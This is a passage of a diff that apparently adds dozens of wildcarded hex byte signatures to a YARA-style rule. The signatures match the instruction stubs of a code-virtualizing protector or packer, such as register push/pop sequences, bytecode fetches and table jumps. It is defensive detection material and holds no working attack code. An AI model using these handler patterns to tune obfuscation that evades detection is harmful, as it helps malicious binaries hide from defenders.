+		$364 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 52 9C 50 51 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$365 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 53 52 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$366 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 9C 50 55 51 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$367 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 50 57 55 51 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$368 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 51 55 52 51 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$369 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 52 53 55 52 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$370 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 53 52 50 51 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$371 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 52 53 56 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+		$372 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 53 54 51 55 56 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$373 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 52 55 51 53 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$374 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 55 9C 56 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9}
+		$375 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$376 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 56 53 51 55 9C 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$377 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 9C 55 53 56 52 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5B 5A 5E 58 5D 9D 58 5F C3}
+		$378 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 50 52 54 9C 53 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$379 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 52 53 56 9C 55 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$380 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 55 50 55 56 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$381 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 56 55 50 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$382 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 57 55 52 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 83 ED 02 66 89 45 00 46 E9}
+		$383 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 9C 56 53 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+		$384 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 50 53 51 56 55 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$385 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 50 9C 56 53 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$386 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 54 55 51 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$387 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 56 50 55 51 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$388 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 50 9C 53 50 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$389 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 57 55 53 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$390 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 51 56 52 50 9C 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$391 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 52 51 57 55 9C 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+		$392 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 56 55 55 9C 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$393 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 54 53 9C 55 52 50 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$394 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 51 9C 55 52 53 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$395 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 52 50 56 9C 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5A 5B 59 9D 5E 58 5F 5D 5F C3}
+		$396 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 9C 52 56 53 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 21 71 45 00 C3}
+		$397 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 50 51 56 55 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$398 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 53 55 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$399 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 55 54 52 51 9C 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$400 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 83 ED 02 66 89 45 00 E9}
+		$401 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 98 83 ED 04 89 45 00 E9}
+		$402 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 C6 02 E9}
+		$403 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 EE FE E9}
+		$404 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 8D 76 02 E9}
+		$405 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 C6 02 66 89 45 00 E9}
+		$406 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 EE FE 66 89 45 00 E9}
+		$407 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 8D 76 02 66 89 45 00 E9}
+		$408 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 83 ED 02 66 89 45 00 E9}
+		$409 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 98 83 ED 04 89 45 00 E9}
+		$410 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+		$411 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 98 83 ED 04 89 45 00 E9}
+		$412 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 C6 02 83 ED 04 89 45 00 E9}
+		$413 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 C6 02 89 45 00 E9}
+		$414 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 EE FE 89 45 00 E9}
+		$415 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+		$416 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 EE FE E9}
+		$417 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 8D 76 02 E9}
+		$418 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+		$419 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 EE FE 83 ED 04 89 45 00 E9}
+		$420 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 8D 76 02 83 ED 04 89 45 00 E9}
+		$421 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 83 ED 02 66 89 45 00 E9}
+		$422 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 98 83 ED 04 89 45 00 E9}
+		$423 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 C6 02 E9}
+		$424 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 EE FE E9}
+		$425 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 8D 76 02 E9}
+		$426 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 C6 02 66 89 45 00 E9}
+		$427 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 EE FE 66 89 45 00 E9}
+		$428 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 8D 76 02 66 89 45 00 E9}
+		$429 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 83 ED 02 66 89 45 00 E9}
+		$430 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 98 83 ED 04 89 45 00 E9}
+		$431 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+		$432 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 98 83 ED 04 89 45 00 E9}
+		$433 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 C6 02 83 ED 04 89 45 00 E9}
+		$434 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 C6 02 89 45 00 E9}
+		$435 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 EE FE 89 45 00 E9}
+		$436 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+		$437 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 EE FE E9}
+		$438 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 8D 76 02 E9}
+		$439 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+		$440 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 EE FE 83 ED 04 89 45 00 E9}
+		$441 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 8D 76 02 83 ED 04 89 45 00 E9}
+		$442 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 66 8B 55 02 F6 D0 F6 D2 83 ED 02 20 D0 66 89 45 04 9C 8F 45 00 E9}
+		$443 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 83 ED 02 66 01 45 04 9C 8F 45 00 E9}
+		$444 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E0 66 89 45 04 9C 8F 45 00 E9}
+		$445 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E8 66 89 45 04 9C 8F 45 00 E9}
+		$446 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$447 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9}
+		$448 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 55 00 83 C5 04 89 14 07 E9}
+		$449 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+		$450 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$451 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 59 5E 5D 5B 9D 5F 5A 5E C3}
+		$452 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 5E 59 5A 9D 5F C3}
+		$453 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 9D 59 5F 5F 5E C3}
+		$454 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 58 5F 9D 59 5A C3}
+		$455 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 9D 5B 59 5A 5F C3}
+		$456 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5E 5A 59 5D 59 9D 5F 5B C3}
+		$457 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5F 5B 5F 5D 59 5E 9D 5A C3}
+		$458 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 9D 5B 5D 5E 5F 5A 59 5E C3}
+		$459 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5B 5E 58 5D 5F 9D 5B C3}
+		$460 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5E 58 9D 5D 58 5B 5F C3}
+		$461 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 58 5D 5F 9D 5A 5E 5E C3}
+		$462 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5E 5A 5F 58 5D 9D 58 C3}
+		$463 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5F 5E 58 9D 5D 5A 5E C3}
+		$464 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 9D 5E 5F 5A 58 5D 5D C3}
+		$465 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5D 5F 5E 5A 5B 9D 5B 58 C3}
+		$466 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 58 5D 5B 9D 5F 5A 5A C3}
+		$467 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 5B 5F 5B 9D 58 5D 5A C3}
+		$468 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5F 58 5A 9D 5D 5E 5E 5B C3}
+		$469 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5B 5E 59 5D 9D 5F 59 C3}
+		$470 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5E 5D 5B 5B 9D 59 5F C3}
+		$471 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5B 5D 5A 5E 9D 5F 58 C3}
+		$472 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5F 59 58 9D 5E 5D 5B C3}
+		$473 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 58 9D 5E 5F 5D 59 5F C3}
+		$474 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 59 5D 5E 58 5F 9D 5D C3}
+		$475 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5E 5D 9D 5B 58 5F 59 59 C3}
+		$476 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5F 58 59 5B 5D 5E 9D 58 C3}
+		$477 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5B 59 5D 5F 58 5E 5E C3}
+		$478 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 59 5D 5D 58 5B 5F C3}
+		$479 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5B 5F 5B 58 5D 59 C3}
+		$480 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5D 58 5F 5B 59 58 C3}
+		$481 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 58 9D 59 5F 5E 59 5A C3}
+		$482 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 59 5F 5E 58 9D 5A 5E C3}
+		$483 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 5E 59 5F 58 9D 58 5A C3}
+		$484 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5E 5A 58 5F 58 59 9D 5D C3}
+		$485 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5F 5A 59 58 5D 9D 5E 5A C3}
+		$486 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 58 5F 5E 59 5D 5D 5A C3}
+		$487 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 59 5E 5D 5D 5F 5A 58 C3}
+		$488 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 5E 5A 5E 59 5F 5D 58 C3}
+		$489 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 58 5A 5B 5D 9D 5F 5E 59 C3}
+		$490 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 59 9D 5D 58 5B 5E 5A 5F C3}
+		$491 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5B 5F 58 5E 59 5A 9D C3}
+		$492 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5F 58 5B 5A 5A 59 9D C3}
+		$493 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 9D 5F 5B 5A 5B 58 59 C3}
+		$494 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5F 5E 58 9D 59 5A 5B 5A C3}
+		$495 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 59 5D 9D 58 5B 5A 5F 5A C3}
+		$496 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 59 5D 5B 58 5F 9D 5F C3}
+		$497 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 5F 58 58 5D 59 5B 9D C3}
+		$498 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 59 5D 5F 9D 5A 58 5F C3}
+		$499 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5A 59 5D 58 5F 9D 5D C3}
+		$500 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5D 5A 5F 58 59 58 9D C3}
+		$501 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5B 59 5D 58 9D 5A 5D C3}
+		$502 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5F 9D 59 5D 5A 5B 58 C3}
+		$503 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5B 5E 5D 5B 9D 59 58 C3}
+		$504 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5E 5E 59 9D 5D 5B 58 C3}
+		$505 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5B 5E 5B 5D 59 5A 9D 58 C3}
+		$506 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 58 5D 5B 59 9D 5A 5D C3}
+		$507 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 5D 59 9D 5B 58 5A 5A C3}
+		$508 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 9D 5D 58 5B 5A 5A 59 C3}
+		$509 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 9D 5B 59 5E 5B 5D 58 5A C3}
+		$510 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 58 5F 5F 5B 5A 59 5D 5E C3}
+		$511 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 59 5F 5E 58 58 5A 5B C3}
+		$512 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 5E 58 59 5B 5F 5A 5F C3}
+		$513 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5F 5D 5E 5B 58 59 5A 59 C3}
+		$514 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5A 9D 5D 59 5B 59 5E 5F C3}
+		$515 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 59 5E 5D 5F 5A 9D C3}
+		$516 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 5F 5A 5E 5D 9D 5A C3}
+		$517 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 5A 5F 59 5D 5D 5E 9D C3}
+		$518 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 9D 5A 5F 5D 5A 5E 59 C3}
+		$519 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 59 5A 59 5E 5D 5B 9D C3}
+		$520 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5B 5D 5E 5B 5A 59 9D C3}
+		$521 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5E 59 5E 5D 5B 5A 9D C3}
+		$522 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 9D 5F 5D 5E 5B 59 5A 5A C3}
+		$523 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5A 5F 5B 5E 5D 5D 9D C3}
+		$524 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5B 5D 5F 5E 5A 5F 9D C3}
+		$525 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5E 58 5F 5D 59 5B C3}
+		$526 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5F 5B 5B 5D 58 5E C3}
